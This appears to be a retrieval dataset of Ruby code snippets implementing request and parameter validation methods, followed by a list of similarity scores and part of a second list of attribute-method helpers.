"def valid_request object, params\n object.attributes = params\n unless object.valid?\n errors = Hash.new\n object.errors.messages.each do |k, v|\n errors = errors.merge({k => v[0]})\n end\n render :json => {:code => 102, :type => 'invalid_parameters', :parameters => errors}, :status => 400, :method => :get\n return false\n end\n object.save\n return object\n end",
"def request_until_valid\n wait = Wait.new(attempts: 10, delay: 5)\n\n wait.until do\n response = request\n valid?(response) ? response : next\n end\n end",
"def validate!\n required_attributes.each do |attribute|\n if form_data[attribute].nil? || form_data[attribute].empty?\n raise Adyen::REST::RequestValidationFailed, \"#{attribute} is empty, but required!\"\n end\n end\n end",
"def perform\n validate_data_from_requests\n end",
"def validate!\n validate\n raise(GeoCerts::ResourceInvalid) unless self.errors.empty?\n self\n end",
"def check_validity!\n # nothing\n end",
"def validrequest?(req)\n digest = makehash(req[:body])\n \n if digest == req[:hash]\n @stats[:validated] += 1\n \n return true\n else\n @stats[:unvalidated] += 1\n \n raise(\"Received an invalid signature in message\")\n end\n end",
"def validate_params\n data = endpoint_params\n errors = []\n errors << 'Invalid verb' if %w[GET POST PATCH DELETE].exclude?(data[:verb])\n # check for valid url\n begin\n URI.parse data[:path]\n rescue URI::InvalidURIError => e\n errors << 'Invalid Path'\n end\n render json: { errors: errors }, status: :unprocessable_entity if errors.present?\n end",
"def validate_params\n render_endpoint_request do\n erb = EndpointRequestBuilder.new(@endpoint)\n erb.validate(@arguments)\n render json: { success: 'Params look great!' }, status: 200\n end\n end",
"def check!\n self.normalize!\n __check_method\n __check_params\n end",
"def validrequest?(req)\n ssl = SSL.new(\"/home/rip/.mcollective.d/rip.pem\")\n\n ssl.verify_signature(req[:hash], SSL.md5(req[:body]), true)\n\n req[:callerid] = \"webuser=%s\" % ssl.rsa_decrypt_with_public(ssl.base64_decode(req[:callerid]))\n req[:body] = deserialize(req[:body])\n\n @stats.validated\n\n true\n rescue\n @stats.unvalidated\n raise(SecurityValidationFailed, \"Received an invalid signature in message\")\n end",
"def assert_valid_request(method, url, *args)\n # We need to dup our args, since assert_response seems to add an extra\n # :only_path key to the hash. This looks like a rails bug.\n if args.first\n args2 = [args.first.dup]\n else\n args2 = args.dup\n end\n \n self.send(method.to_s, url.to_s, *args)\n assert_response :success\n rescue AssertRequest::RequestError => e\n flunk \"Received a RequestError exception, but wasn't expecting one: <#{e}>\"\n end",
"def validrequest?(req)\n message = req[:body]\n signature = req[:hash]\n\n Log.debug(\"Validating request from #{req[:callerid]}\")\n\n if verify(public_key_file(req[:callerid]), signature, message.to_s)\n @stats.validated\n return true\n else\n @stats.unvalidated\n raise(SecurityValidationFailed, \"Received an invalid signature in message\")\n end\n end",
"def check_response\n errors.add(:base, :invalid) unless response.present? && response[\"res\"] == 1\n end",
"def validate_request(request, request_resource_prefix)\n method = (request_resource_prefix + '_request').to_sym\n return send(method, request[0])\nend",
"def validate_content_type!\n return if request.content_type == \"application/json\"\n return if request.get? && request.content_type == \"text/plain\"\n return if !request.get? && request.content_type == \"application/x-www-form-urlencoded\"\n\n raise ActionController::BadRequest, \"Invalid content type\"\n end",
"def valid?\n fetch { errors.empty? }\n end",
"def validate!\n REQUIRED_PARAMETERS.each do |name|\n if params[name].empty?\n raise(BuildRequestError, \"Vocalware: Parameter #{name} is required\")\n end\n end\n end",
"def validate\n raise ArgumentError, \"Params emtpy\" if @params.nil? \n @errors = []\n @errors << 'reason must be provided' if @params.reason.nil? \n @errors << 'txn_id must be provided' if @params.txn_id.nil? \n @errors << 'order.id must be provided' if @params.order.id.nil? \n @errors << 'order.total must be provided' if @params.order.total.nil? \n @errors << 'order.shipping_value must be provided' if @params.order.shipping_value.nil? \n @errors << 'order.tax must be provided' if @params.order.tax.nil? \n\n raise ZipMoney::RequestError.new(\"Following error(s) occurred while making request, please resolve them to make the request: #{@errors}\") if @errors.any?\n end",
"def validate!\n # pass\n end",
"def valid?\n utils = Amazon::FPS::SignatureUtilsForOutbound.new(@access_key, @secret_key);\n utils.validate_request(:parameters => @params, :url_end_point => @url_end_point, :http_method => \"GET\")\n end",
"def invalid_request?\n EXTERNAL_RESPONSE_CODES[:invalid_request] == @code\n end",
"def invalid_request?\n EXTERNAL_RESPONSE_CODES[:invalid_request] == @code\n end",
"def invalid_request?\n EXTERNAL_RESPONSE_CODES[:invalid_request] == @code\n end",
"def validate_request_and_error(request, response_error, resource_prefix)\n request_id = validate_request(request, resource_prefix)\n validate_error(response_error, request_id)\nend",
"def check_error(response)\n raise NotImplementedError\n end",
"def validate(input)\n result = ctx[:contract].new.call(input[:params])\n if result.errors.count.positive?\n Failure(error: ErrorService.bad_request_fail(result.errors.to_h))\n else\n ctx[:params] = result.to_h\n Success(input.merge(params: result.to_h))\n end\n end",
"def validate_params!\n self.params ||= Hash.new\n self.class.instance_variable_get(:@__required_params).each do |e|\n raise ArgumentError, \"Insufficient parameters set (#{e} not supplied)\" if self.params[e].nil?\n end\n end",
"def handle_bad_request\n make_response(400, 'Bad request (invalid input)')\nend",
"def handle_bad_request\n make_response(400, 'Bad request (invalid input)')\nend",
"def validate_http_status\n return true if @http.code.to_i == 200\n DomainTools::Exceptions::raise_by_code(@http.code)\n end",
"def validate!\n validate_redis\n validate_workers\n validate_options\n end",
"def validate\n raise \"Can only validate request messages\" unless type == :request\n\n raise(NotTargettedAtUs, \"Received message is not targetted to us\") unless PluginManager[\"security_plugin\"].validate_filter?(payload[:filter])\n end",
"def validate\n # add errors if not validate\n end",
"def validate(resource)\n raise Error::AbstractMethod.new(method: \"Validators::Base#validate\")\n end",
"def valid?\n raise 'Not Implemented'\n end",
"def valid?\n status == 200\n end",
"def validate_response!(response)\n raise \"empty response\" unless response\n\n status = response[\"stat\"]\n if status and status != \"ok\"\n error = response[\"err\"]\n if error\n raise RequestFailed, \"#{error[\"code\"]}: #{error[\"msg\"]}, explanation: #{error[\"expl\"]}\"\n else\n raise RequestFailed, \"Error: #{status}, no error message\"\n end\n end\n end",
"def validate\n raise NoMethodError, \"must define method 'validate'\"\n end",
"def validate!\n MiddlewareValidator.new(middleware).validated_provides!\n end",
"def handle_bad_request\n make_response(400, {message: 'Bad request (invalid input)'})\nend",
"def ensure_json_request\n return render_message({status:ERR_STATUS,responseMessage: NOT_ACCEPTABLE_MESSAGE, responseCode: NOT_ACCEPTABLE }) unless request.format == :json\n end",
"def validate_required_params(required_param)\n return unless request.query_parameters[required_param].blank?\n\n render json: { error: \"'#{required_param}' query parameter is required\" },\n status: :bad_request\n end",
"def validate(resource, &block); end",
"def assert_valid\n raise ValidationError, \"no name\" unless name\n raise ValidationError, \"no version\" unless version\n raise ValidationError, \"no summary\" unless summary\n #raise ValidationError, \"no maintainer\" unless maintainer\n #raise ValidationError, \"no homepage\" unless homepage\n end",
"def respond_bad_request; make_response(nil, false, 400, \"Bad Request\") end",
"def validate!\n logger.debug \"Starting validation for #{description}\"\n raise NotFound.new name, connection unless exists?\n logger.info \"Successfully validated #{description}\"\n self\n end",
"def valid?\n # Written like that for efficiency\n !(@ip.nil? || @date.nil? || @http_verb.nil? || @uri.nil? || @http_version.nil? || @status.nil? || @bytes.nil?)\n end",
"def handle_request( request, &block )\n\t\tself.log.debug \"[:parameters] Wrapping request with parameter validation.\"\n\n\t\tvalidator = self.class.paramvalidator.dup\n\t\tvalidator.validate( request.params )\n\t\trequest.params = validator\n\n\t\tsuper\n\tend",
"def valid_request(h = {})\n h.merge!({:use_route => :sensit_api, :format => \"json\", :api_version => \"1\"})\n end",
"def valid?(request_env)\n\t\t\treturn false unless valid_fields?(request_env)\n\t\t\ttrue\n\t\tend",
"def validate!(app, value, path_param, *args)\n # save current Sinatra app instance for method lookup on it\n self.app = app\n\n self.value = value\n self.path_param = path_param == true\n\n validate(value, *args) || fail_validation(failure_message(value, *args))\n rescue Errors::ValidationError\n # validation failed, so just re-raise an error to buble it up to the root\n # re-raising is needed in order to catch all other exceptions to wrap them in\n # special error\n raise\n rescue => ex # rubocop:disable Style/RescueStandardError\n # unexpected exception happened in validation block, so we should wrap it in special error\n raise Errors::ValidationRaisedAnExceptionError.new(ex, failure_code(path_param?))\n end",
"def bad_request\n render status: :bad_request, json: {\n errors: ['Invalid Request', 'Missing one or more required fields.'],\n }\n end",
"def validate\n self._errors = {}\n self.run_hook :validate\n not self.errors?\n end",
"def error?\n http_status >= 400 && http_status <= 599\n end",
"def verify_request_components options = {}\n if options[:request]\n if options[:request].is_a?(Faraday::Request) || options[:request].is_a?(Array)\n request = options[:request]\n elsif options[:adapter]\n request = options[:adapter].adapt_request options[:request]\n end\n method = request.method\n uri = request.path\n headers = request.headers\n body = request.body\n else\n method = options[:method] || :get\n uri = options[:uri]\n headers = options[:headers] || []\n body = options[:body] || \"\"\n end\n\n headers = headers.to_a if headers.is_a? Hash\n method = method.to_s.upcase\n\n request_components = {\n method: method,\n uri: uri,\n headers: headers\n }\n\n # Verify that we have all the pieces required to validate the HTTP request\n request_components.each do |(key, value)|\n raise ArgumentError, \"Missing :#{key} parameter.\" unless value\n end\n request_components[:body] = body\n request_components\n end",
"def call\n resource.errors.any?\n end",
"def valid_request?(request)\n request.post? && request.path == NOTIFY_PATH\n end",
"def check_request_for_route(request)\n match = ::Merb::Router.match(request)\n if match[0].nil? && match[1].empty?\n raise ::Merb::ControllerExceptions::BadRequest, \"No routes match the request. Request uri: #{request.uri}\"\n else\n match[1]\n end\n end",
"def validate\n r = super\n return r unless r.success?\n\n r = fetch_and_validate_client\n return r unless r.success?\n\n success\n end",
"def ensure_params_url\n if !params[:url]\n render json: ['No URL has been provided.'], status: 422 \n else \n render json: ['Url format is Improper.'], status: 422 unless ShortURL.validate_url_format(params[:url])\n end\n end",
"def validate\n \n raise ArgumentError, \"Params emtpy\" if @params.nil? \n @errors = []\n @errors << 'charge must be provided' if @params.charge.nil? \n @errors << 'currency_code must be provided' if @params.currency_code.nil? \n @errors << 'order_id must be provided' if @params.order_id.nil? \n @errors << 'order must be provided' if @params.order.nil? \n @errors << 'order.id must be provided' if @params.order.id.nil? \n @errors << 'order.total must be provided' if @params.order.total.nil? \n @errors << 'order.shipping_value must be provided' if @params.order.shipping_value.nil? \n @errors << 'order.tax must be provided' if @params.order.tax.nil? \n @errors << 'order detail must be provided' unless @params.order.detail.length > 0 \n\n validate_item_details @params.order.detail if @params.order.detail.length > 0 \n\n raise ZipMoney::RequestError.new(\"Following error(s) occurred while making request, please resolve them to make the request: #{@errors}\") if @errors.any?\n end",
"def valid_request_origin?; end"
] |
[
"0.7961239",
"0.7584518",
"0.7424807",
"0.72757614",
"0.7253976",
"0.6906612",
"0.68173945",
"0.67862344",
"0.67519903",
"0.6673786",
"0.6640575",
"0.6630986",
"0.6554652",
"0.65489763",
"0.64986223",
"0.6460378",
"0.645132",
"0.6426893",
"0.6426893",
"0.6426893",
"0.64222836",
"0.6378635",
"0.6371078",
"0.63526636",
"0.63462",
"0.63448435",
"0.6331631",
"0.62735987",
"0.62607247",
"0.625979",
"0.6253943",
"0.62497985",
"0.6243432",
"0.6235587",
"0.6207628",
"0.6207628",
"0.6202416",
"0.6196259",
"0.6180227",
"0.6144738",
"0.61446875",
"0.61243874",
"0.6110843",
"0.60996395",
"0.60950357",
"0.6073824",
"0.6048132",
"0.6033392",
"0.6032736",
"0.59876484",
"0.59874463",
"0.59834313",
"0.592278",
"0.59080034",
"0.5905726",
"0.5895462",
"0.58858186",
"0.58780384",
"0.58780384",
"0.58780384",
"0.58746284",
"0.58702767",
"0.5869701",
"0.5868523",
"0.58674",
"0.58674",
"0.586638",
"0.58637744",
"0.58628815",
"0.58583915",
"0.5851795",
"0.5834486",
"0.582903",
"0.5819078",
"0.58179605",
"0.58127916",
"0.5807437",
"0.58028823",
"0.58018106",
"0.5798243",
"0.5773325",
"0.57646513",
"0.5759352",
"0.575649",
"0.5756436",
"0.57523656",
"0.57308733",
"0.5722833",
"0.57201105",
"0.5718491",
"0.5714789",
"0.57147086",
"0.57050604",
"0.57031995",
"0.5701096",
"0.56999856",
"0.56951994",
"0.5689371",
"0.568481"
] |
0.7263668
|
5
|
Creates dynamic method for validation like "use_attribute?" If the method exists at the instance, the method will be called. If the method does not exists at the instance, the rule will be applied. Ex.: use_age?, user_price?
|
def method_missing(m, *args, &block)
mtd = m.to_s
return send("#{mtd.to_sym}") if respond_to? mtd
if mtd.starts_with? 'use_' and mtd.ends_with? '?'
attr = mtd.gsub(/use_/,'').gsub('?','')
val = send("#{attr.to_sym}")
return (not val.empty?) if val.kind_of?(Array)
return (not val.blank?)
else
raise NoMethodError.new("Undefined method '#{m}'!")
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def validates_with_method(*attribute_names)\n options = Macros.extract_options(attribute_names)\n validation_rules.add(Rule::Method, attribute_names, options)\n end",
"def validation_rule(method_name, &block)\n method = MethodValidation.new(method_name)\n block_given? and method.block &block\n @methods_loaded[:\"#{method_name}\"] = method\n end",
"def method_missing(name, *args, &block)\n if /\\Ahas_validated_(?<type>\\w*)_attribute\\Z/ =~ name\n has_validated_attribute(type, *args, &block)\n else\n super\n end\n end",
"def validate(method_name)\n validations << method_name\n end",
"def existing_method clazz, method_name, meta, &block\n return if redefined? clazz, method_name, &block\n\n old_method = validate_existing_definition clazz, method_name\n validate_method_arity clazz, method_name, old_method, &block\n validate_decoration_meta clazz, method_name, old_method, meta\n\n old_method\n end",
"def define_attribute_checker(attribute_name)\n define_method \"#{attribute_name}?\" do\n send(attribute_name).present?\n end\n end",
"def label(method, content_or_options = nil, options = nil, &block)\n if content_or_options && content_or_options.class == Hash\n options = content_or_options\n else\n content = content_or_options\n end\n\n required_mark = ''\n #required_mark = ' *'.html_safe if object.class.validators_on(method).map(&:class).include? ActiveModel::Validations::PresenceValidator\n if object.class.respond_to?('validators_on') # check if method exists for class\n required_mark = '*'.html_safe if object.class.validators_on(method).any? { |validator|\n #if the validation is of type PresenceValidator\n if (validator.kind_of?(ActiveModel::Validations::PresenceValidator))\n ifresult, unlessresult = nil\n if(validator.options.present? && validator.options[:if].present?)\n #now execute the dynamic :if part of this validator to see if the PresenceValidator is active\n if(validator.options[:if].is_a?(Symbol)) # execute the :if block as a Symbol\n ifresult = object.send(validator.options[:if])\n elsif(validator.options[:if].is_a?(String)) # execute as a String\n ifresult = object.instance_eval(validator.options[:if])\n else # execute as a Proc or Lambda\n ifresult = validator.options[:if].call(object)\n end\n puts(\"FormBuilder : dynamic validator of method #{method} :if option returned #{ifresult}\") if Rails.env == 'development'\n end\n if (validator.options.present? && validator.options[:unless].present?)\n #now execute the dynamic :unless part of this validator (and invert) to see if the PresenceValidator is active\n if(validator.options[:unless].is_a?(Symbol)) # execute the :unless block as a Symbol\n unlessresult = !object.send(validator.options[:unless])\n elsif(validator.options[:unless].is_a?(String)) # execute as a String\n unlessresult = !object.instance_eval(validator.options[:unless])\n else # execute as a Proc or Lambda\n unlessresult = !validator.options[:unless].call(object)\n end\n puts(\"FormBuilder : dynamic validator of method #{method} :unless option returned #{unlessresult}\") if Rails.env == 'development'\n end\n\n if ifresult != nil and unlessresult != nil\n result = ifresult && unlessresult\n elsif ifresult != nil and unlessresult == nil\n result = ifresult\n elsif unlessresult != nil and ifresult == nil\n result = unlessresult\n else\n #no :if/:unless option found, always show the * sign\n result = true\n puts(\"FormBuilder : dynamic validator of method #{method} : No dynamic :if/:unless option found, return true\") if Rails.env == 'development'\n end\n end\n result\n }\n end\n\n content ||= I18n.t(\"activerecord.attributes.#{object.class.name.underscore}.#{method}\", :default=>method.to_s.humanize)\n content = content + ' ' + required_mark\n\n self.orig_label(method, content, options || {}, &block)\n end",
"def set_automated_validation\n (self.methods - Object.methods).each do |method|\n params_index = method(method).parameters.map{|ar| ar[1]}.index(:params)\n body_index = method(method).parameters.map{|ar| ar[1]}.index(:body)\n\n define_singleton_method(method) do |*args, &block|\n validate Docker::API::InvalidParameter, Docker::API::VALID_PARAMS[\"#{self.class.name}\"][\"#{method}\"], (args[params_index] || {}) if params_index\n validate Docker::API::InvalidRequestBody, Docker::API::VALID_BODY[\"#{self.class.name}\"][\"#{method}\"], (args[body_index] || {}) if body_index\n super(*args,&block)\n end\n end\n end",
"def method_missing(name,*args,&block)\n # NoMethodError should be raised on this object\n super unless rules.respond_to?(name)\n rules.send(name,*args,&block)\n end",
"def validate(method = :all, &procedure)\n @@validators[self] = {} unless @@validators.key?(self)\n @@validators[self][method.to_s.downcase.to_sym] = procedure\n end",
"def validate_method_name(name)\n KeyWords.include?(name) ? \"do#{valid_class_name(name)}\" : valid_property_name(name)\n end",
"def validate\n self.class.validations.each do |(method, args, opts)|\n send(method, *args) if !opts[:if] || instance_exec(&opts[:if])\n end\n end",
"def define_attribute_method(method_name)\n attribute_name = method_name.to_s.gsub(/([=\\?]?)$/, '')\n modifier = $1\n \n attribute = PublicEarth::Db::Attribute.find_by_name(attribute_name) || \n PublicEarth::Db::Attribute.find_by_name!(attribute_name.singularize)\n\n singular = attribute.name.singularize\n plural = attribute.name.pluralize\n\n # logger.debug \"Generating methods for #{attribute}\"\n \n unless base_respond_to? singular\n # logger.debug \"Generating #{singular} method\"\n instance_eval <<-DEFINE_METHODS\n def #{singular}(language = @current_language)\n @attributes[language.to_s][:#{attribute.name}]\n end\n DEFINE_METHODS\n end\n \n unless base_respond_to?(plural) \n if !attribute.allow_many?\n # logger.debug \"Aliasing #{plural} method to #{singular} method\"\n instance_eval <<-DEFINE_ALIAS\n alias :#{plural} :#{singular}\n DEFINE_ALIAS\n else\n # logger.debug \"Generating #{plural} method\"\n instance_eval <<-DEFINE_METHODS\n def #{plural}(language = @current_language)\n @attributes[language.to_s][:#{singular}] ||= ManyValues.new(self,\n PublicEarth::Db::Details::Attribute.new(self, nil, \n '#{singular}', nil, nil, @current_language, \n (@current_source_data_set && @current_source_data_set.id || nil), #{attribute.readonly == 't'}, 9999, false, \n false, #{attribute.allow_many == 't'}, '#{attribute.data_type}'))\n end\n DEFINE_METHODS\n end\n end\n\n unless base_respond_to? \"#{singular}=\"\n # logger.debug \"Generating #{singular}= method\"\n instance_eval <<-DEFINE_METHODS\n def #{singular}=(value)\n self['#{singular}'] = value\n end\n DEFINE_METHODS\n end\n \n unless base_respond_to?(\"#{plural}=\") || !attribute.allow_many?\n # logger.debug \"Generating #{plural}= method\"\n instance_eval <<-DEFINE_METHODS\n def #{plural}=(value)\n self['#{singular}'] = value\n end\n DEFINE_METHODS\n end\n \n unless base_respond_to? \"#{singular}?\"\n # logger.debug \"Generating #{singular}? method\"\n instance_eval <<-DEFINE_METHODS\n def #{singular}?\n self['#{singular}'].blank?\n end\n DEFINE_METHODS\n end\n\n unless base_respond_to?(\"#{plural}?\") || !attribute.allow_many?\n # logger.debug \"Generating #{plural}? method\"\n instance_eval <<-DEFINE_METHODS\n def #{plural}?\n self['#{singular}'].blank?\n end\n DEFINE_METHODS\n end\n \n end",
"def parameter_rule?; end",
"def method_missing(input)\n\t\tself.checkMethod(input.to_s)\n\tend",
"def method_missing(meth, *args, &block)\n method_name = meth.to_s\n\n assignment = false\n if method_name.last == '=' && args.size == 1\n assignment = true\n method_name = method_name.slice(0, method_name.length - 1) if method_name.length > 0\n end\n\n #Active Record uses this method to cast the type of attributes. Need to implement it for validates_numericality_of.\n if method_name.ends_with? '_before_type_cast'\n method_name.gsub!(/_before_type_cast/, '')\n end\n\n #show?\n if args.size == 0 && !assignment && self.class.base_class.reserved_custom_attributes.include?(method_name)\n res = get_custom_attribute(method_name)\n return res || nil\n end\n\n #create/update?\n # NOTE: we don't check the reserved_custom_attributes on create, because they can\n # technically create any attribute they like\n if assignment && !self.attributes.include?(method_name) && self.class.base_class.reserved_custom_attributes.include?(method_name)\n\n return set_custom_attribute(method_name, args[0])\n end\n\n #fall through\n super(meth, *args, &block)\n end",
"def create_smart_attribute_methods\n denormalized_attribute_names.each do |denormalized_attribute_name|\n base_method_name = denormalized_attribute_base_name(denormalized_attribute_name)\n define_method(base_method_name) do\n if may_use_denormalized_value?(denormalized_attribute_name)\n self.send(denormalized_attribute_name)\n else\n self.send(self.class.denormalized_compute_method_name(denormalized_attribute_name))\n end\n end\n end\n end",
"def validate\n self.class.parameters.each do |param, default|\n method = \"validate_#{param}\"\n if self.respond_to? method\n attribute = \"@#{param}\"\n val = instance_variable_get(attribute)\n if val.respond_to? :each\n new_val = val.map.with_index{ |v, i| send(method, v, i) }\n instance_variable_set(attribute, new_val)\n else\n instance_variable_set(attribute, send(method, val))\n end\n end\n end\n end",
"def validate\n validations = self.class.meta_eval { @validations }\n\n validations.each do |v|\n raise \"#{self.class}.#{v[:name]} #{v[:options][:message]}\" unless\n v[:proc].call(send(v[:name]))\n end\n\n self\n end",
"def possible_eval_methods\n valid_criteria[attribute_name].nil? ? DEFAULT_EVAL_METHODS : valid_criteria[attribute_name][\"operators\"].keys.map{|k| [k.gsub(\"_\", \" \"), k]}\n end",
"def check_instance_method_existance!(method_name)\n raise NoMethodError.new(\"undefined method `#{method_name}' for #{to_s}\") unless crud_instance_methods.include?(method_name.to_sym)\n end",
"def check_attribute_method_support(name, method)\n raise \"Type #{key_objects[name].type} doesn't support #{method}\" unless @attribute_objects[name].respond_to?(method.to_sym)\n true\n end",
"def validated_before(method, *args)\n __method = :\"#{method}_without_validations\"\n alias_method __method, method\n \n without = args.extract_options![:without]\n if [*without].include? :exception\n define_method method do |*params|\n if valid? then send! __method else false end\n end\n else\n define_method method do |*params|\n if valid? then send! __method else raise errors.to_exception end\n end\n end\n end",
"def method_missing(method_sym, *arguments)\n method_name = method_sym.to_s\n attribute_name = method_name.gsub(/(\\?$)|(=$)/, '')\n if @attributes.include?(attribute_name.to_sym) || method_name[-1] == '=' || method_name[-1] == '?'\n generate_methods!(attribute_name, method_name)\n send(method_sym, *arguments)\n else\n super(method_sym, *arguments)\n end\n end",
"def attribute_method?(attr)\n super || attributes.keys.include?(attr)\n end",
"def match_attribute_method?(method_name)\n rebuild_attribute_method_regexp unless defined?(@@attribute_method_regexp) && @@attribute_method_regexp\n @@attribute_method_regexp.match(method_name)\n end",
"def define_attribute_method(attr_name, _owner: generated_attribute_methods)\n CodeGenerator.batch(_owner, __FILE__, __LINE__) do |owner|\n attribute_method_matchers.each do |matcher|\n method_name = matcher.method_name(attr_name)\n\n unless instance_method_already_implemented?(method_name)\n generate_method = \"define_method_#{matcher.target}\"\n\n if respond_to?(generate_method, true)\n send(generate_method, attr_name.to_s, owner: owner)\n else\n define_proxy_call true, owner, method_name, matcher.target, attr_name.to_s\n end\n end\n end\n attribute_method_matchers_cache.clear\n end\n end",
"def respond_to?(method_name)\n if attrs.keys.include? method_name.to_s\n true\n else\n super(method_name)\n end\nend",
"def check!\n self.normalize!\n __check_method\n __check_params\n end",
"def method_missing(method, *args, &block)\n attr_name = self.class.method_to_attribute_name(method)\n\n # Check if they're asking a question\n if attr_name.end_with?(\"?\")\n booleanize = true\n attr_name = attr_name[0..-2]\n end\n\n # First, let's look for an attribute exactly named `method`\n if json.has_key?(attr_name)\n key = attr_name\n # It might be prefixed with something and delimited with $\n elsif (first_match = json.keys.find {|key| key.split(\"$\").last.eql? attr_name.to_s})\n key = first_match\n\n # We don't know what this is.\n else\n # If they're trying to get a boolean, and the attribute doesn't exist,\n # lets return false. (E.g. primary? for an Attribute without an attr\n # called primary)\n return false if booleanize\n # Otherwise give up\n return super\n end\n\n nice_value_at_key(key, booleanize: booleanize)\n end",
"def method_missing(m, *args, &block)\n r = @rules.find{|r| r.name == m}\n if r\n match_rule(r, args[0], args[1])\n else\n super\n end\n end",
"def define_attribute_methods\n super\n self.generated_methods.each do |method|\n if method.to_s =~ Regexp.new(\"^#{self.to_s.underscore}__\")\n new_method_name = $~.post_match\n alias_method(new_method_name, method)\n private method\n self.generated_methods << new_method_name\n end\n end\n end",
"def method_missing(meth, *args, &blk)\n if args.length > 0\n self.class.add_custom_attribute meth\n send meth, *args, &blk\n else\n super meth, *args, &blk\n end\n end",
"def method_missing(method_name, *args)\n # Return the attribute value\n if @attributes.has_key?(method_name)\n read_attribute(method_name)\n \n # If we predefine an attribute, but we don't have it loaded, return nil\n elsif self.class.predefined_attributes.include?(method_name)\n nil\n \n # Check booleans, attribute_name?\n elsif method_name.to_s =~ /\\?$/\n simple_method_name = method_name.to_s.gsub(/\\?$/, '').to_sym\n @attributes[simple_method_name] == true || @attributes[simple_method_name] == 't' || \n @attributes[simple_method_name] == 'true'\n \n # Method to set attribute, attribute_name=\n elsif method_name.to_s =~ /=$/ && !args.empty?\n write_attribute(method_name.to_s.gsub(/=$/, '').to_sym, args.first)\n \n # Default to raising an error\n else\n default_method_missing(method_name, *args)\n end\n end",
"def attribute_method\n method_options = options\n\n lambda do |name, type = Object, options = {}|\n super(name, type, method_options.update(options))\n end\n end",
"def method_required?(attribute)\n if @object && @object.class.respond_to?(:reflect_on_validations_for)\n attribute_sym = attribute.to_s.sub(/_id$/, '').to_sym\n\n @object.class.reflect_on_validations_for(attribute_sym).any? do |validation|\n [:validates_presence_of, :validates_date, :validates_time].include?(validation.macro) &&\n validation.name == attribute_sym && !(validation.options.present? && (validation.options[:allow_nil] || validation.options[:allow_blank])) &&\n (validation.options.present? ? options_require_validation?(validation.options) : true)\n end\n else\n @@all_fields_required_by_default\n end\n end",
"def method_missing(method_name, *args, &block)\n return super unless define_attribute_methods\n self.send(method_name, *args, &block)\n end",
"def method_missing(method, *args, &block)\n if respond_to_without_attributes?(method, true)\n super\n else\n match = matched_attribute_method(method.to_s)\n match ? attribute_missing(match, *args, &block) : super\n end\n end",
"def validate_command_attrs\n self.class.validation_logics.each do |attr, logics|\n val = self.instance_variable_get(\"@#{attr}\".to_sym)\n logics.each do |l|\n unless l.call(self, attr, val)\n raise \"validation error : #{attr}=#{val} (#{self.class})\"\n end\n end\n end\n end",
"def define_predicate_methods_for_attributes\n @attributes.each do |key, _|\n method_name = \"#{key}?\"\n\n next if self.class.method_defined?(method_name.to_sym)\n\n self.class.send :define_method, method_name do\n @attributes[key].present?\n end\n end\n end",
"def validate\n self.send(\"validate_#{type}\".to_sym)\n end",
"def validate!(call_name)\n params = self.methods\n params.select { | method | call_name.include?(call_name) }\n end",
"def validates(method, *args, **opts)\n validations << [method, args, opts]\n end",
"def method_missing sym, *args, &block\n attribute_name = sym.to_s.gsub(/^(.*)\\?$/, \"\\\\1\")\n if respond_to?(attribute_name)\n !!send(attribute_name, *args, &block) \n else\n super sym, *args, &block\n end\n end",
"def attr_predicate( attrname )\n\t\t\tattrname = attrname.to_s.chomp( '?' )\n\t\t\tdefine_method( \"#{attrname}?\" ) do\n\t\t\t\tinstance_variable_get( \"@#{attrname}\" ) ? true : false\n\t\t\tend\n\t\tend",
"def method_missing(meth, *args, &block)\n if attributes.has_key?(meth)\n attributes[meth]\n else\n super\n end\n end",
"def method_missing(method, *args, &block)\n if Parser::PROPERTIES.include?(method)\n self.class.define_property_method(method)\n send(method, *args, &block)\n elsif Parser::METHODS.include?(method)\n self.class.define_method_method(method)\n send(method, *args, &block)\n elsif method.to_s =~ /([a-z_]+)\\?/ and (Parser::PROPERTIES + Parser::METHODS).include?($1.to_sym)\n self.class.define_question_method($1)\n send(method)\n else\n super\n end\n end",
"def method_missing method, *args, &block\n case method.to_s\n when /^of_(.*)$/\n return self.of($1, *args, &block)\n when /^and_(.*)$/\n return self.and($1, *args, &block)\n end\n\n return to_proc.send method, *args, &block if Proc.instance_methods.include? method\n\n super\n end",
"def dangerous_attribute_method?(method_name)\n active_record = ActiveRecord::Base\n superclass = ActiveRecord::Base.superclass\n\n (active_record.method_defined?(method_name) ||\n active_record.private_method_defined?(method_name)) &&\n !superclass.method_defined?(method_name) &&\n !superclass.private_method_defined?(method_name)\n end",
"def define_attribute_methods\n return if generated_methods?\n property_names.each do |name|\n unless instance_method_already_implemented?(name)\n define_read_method(name.to_sym)\n end\n unless instance_method_already_implemented?(\"#{name}=\")\n define_write_method(name.to_sym)\n end\n unless instance_method_already_implemented?(\"#{name}?\")\n define_question_method(name)\n end\n end\n end",
"def is_attribute?; end",
"def define_question_method(attr_name)\n evaluate_attribute_method attr_name, \"def #{attr_name}?; query_attribute('#{attr_name}'); end\", \"#{attr_name}?\"\n end",
"def create_attribute_methods_on(model)\n #model.class_eval <<-RUBY_EVAL, __FILE__, __LINE__ + 1\n model.class_eval %(\n def self.values_for_#{attribute}\n self.bitmask_definitions[:#{attribute}].values\n end\n\n def self.values_with_bitmask_for_#{attribute}\n ret = []\n self.bitmask_definitions[:#{attribute}].values.each_with_index{|v,k| ret.push [v,k]}\n ret\n end\n )\n end",
"def method_missing(method_name, *args, &block)\n if attrs.keys.include? method_name.to_s\n attrs[method_name.to_s]\n else\n super(method_name)\n end\nend",
"def validate_on_create=(_arg0); end",
"def validate_method_name(name)\n KeyWords.include?(name) ? \"do#{name.gsub(/-/, \"_\").camelcase}\" : validate_property_name(name)\n end",
"def get_rule(method)\n object_name = self.name\n key = \"#{object_name}::#{method}\"\n method_validation = validator.methods_loaded[key.to_sym]\n unless method_validation.nil?\n return method_validation.parameters\n end\n nil\n end",
"def method_missing namesym, *args\n if match = namesym.to_s.match(/(.*)_(accept|if_ready)$/)\n attrname, verb = match[1..2]\n case verb\n when 'accept'\n accept_attribute attrname, args.first\n when 'if_ready'\n # Provide\n return attrib_ready?(attrname) ? self.send(attrname.to_sym) : args.first\n end\n return\n end\n super(namesym, *args) if defined?(super)\n end",
